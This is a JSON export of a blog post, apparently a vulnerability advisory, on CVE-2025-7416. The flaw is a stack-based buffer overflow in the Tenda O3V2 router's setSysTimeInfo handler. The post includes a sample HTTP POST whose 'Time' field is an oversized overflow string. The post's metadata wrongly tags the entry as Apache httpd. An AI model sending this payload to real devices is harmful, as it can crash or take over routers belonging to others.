{"id":59441,"date":"2025-07-17T09:36:52","date_gmt":"2025-07-17T09:36:52","guid":{"rendered":""},"modified":"2025-09-04T22:36:57","modified_gmt":"2025-09-05T04:36:57","slug":"cve-2025-7416-critical-vulnerability-in-tenda-o3v2-causing-stack-based-buffer-overflow","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7416-critical-vulnerability-in-tenda-o3v2-causing-stack-based-buffer-overflow\/","title":{"rendered":"CVE-2025-7416: Critical Vulnerability in Tenda O3V2 Causing Stack-Based Buffer Overflow<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

Recently, a critical vulnerability was discovered in Tenda O3V2 1.0.0.12(3880) that has the potential to compromise systems and potentially leak sensitive data. This vulnerability is particularly concerning due to its ability to be exploited remotely, potentially allowing attackers to breach targeted systems without any physical access. This blog post will provide a detailed analysis of the vulnerability<\/a>, its impact, and how it can be mitigated.
\nThe vulnerability, known as CVE-2025-7416, affects the httpd component of the Tenda O3V2<\/a> device, specifically the fromSysToolTime function in the \/goform\/setSysTimeInfo file. The exploitation of this vulnerability can result in a stack-based buffer<\/a> overflow, providing attackers with the ability to execute arbitrary code or cause a denial of service.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-7416
\nSeverity: Critical (CVSS: 8.8)
\nAttack Vector: Remote
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System Compromise<\/a>, Potential Data Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Tenda O3V2 | 1.0.0.12(3880)<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability is triggered by a manipulation<\/a> of the ‘Time’ argument in the fromSysToolTime function. By sending a specially crafted request to the \/goform\/setSysTimeInfo endpoint with a malformed ‘Time’ argument, an attacker can cause a stack-based buffer overflow<\/a>. This happens because of insufficient boundary checks while handling the ‘Time’ input, allowing an attacker to overwrite the stack with arbitrary values, which could lead to code<\/a> execution.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how the vulnerability might be exploited. The following HTTP request sends a malicious ‘Time’ argument to the vulnerable<\/a> endpoint:
\n“`http
\nPOST \/goform\/setSysTimeInfo HTTP\/1.1
\nHost: target.example.com
\nContent-Type: application\/x-www-form-urlencoded
\nTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111<\/p>\n","protected":false},"excerpt":{"rendered":"

Overview Recently, a critical vulnerability was discovered in Tenda O3V2 1.0.0.12(3880) that has the potential to compromise systems and potentially leak sensitive data. This vulnerability is particularly concerning due to its ability to be exploited remotely, potentially allowing attackers to breach targeted systems without any physical access. This blog post will provide a detailed analysis […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[103],"product":[104],"attack_vector":[86,87],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59441","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apache","product-apache-httpd","attack_vector-buffer-overflow","attack_vector-dos"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t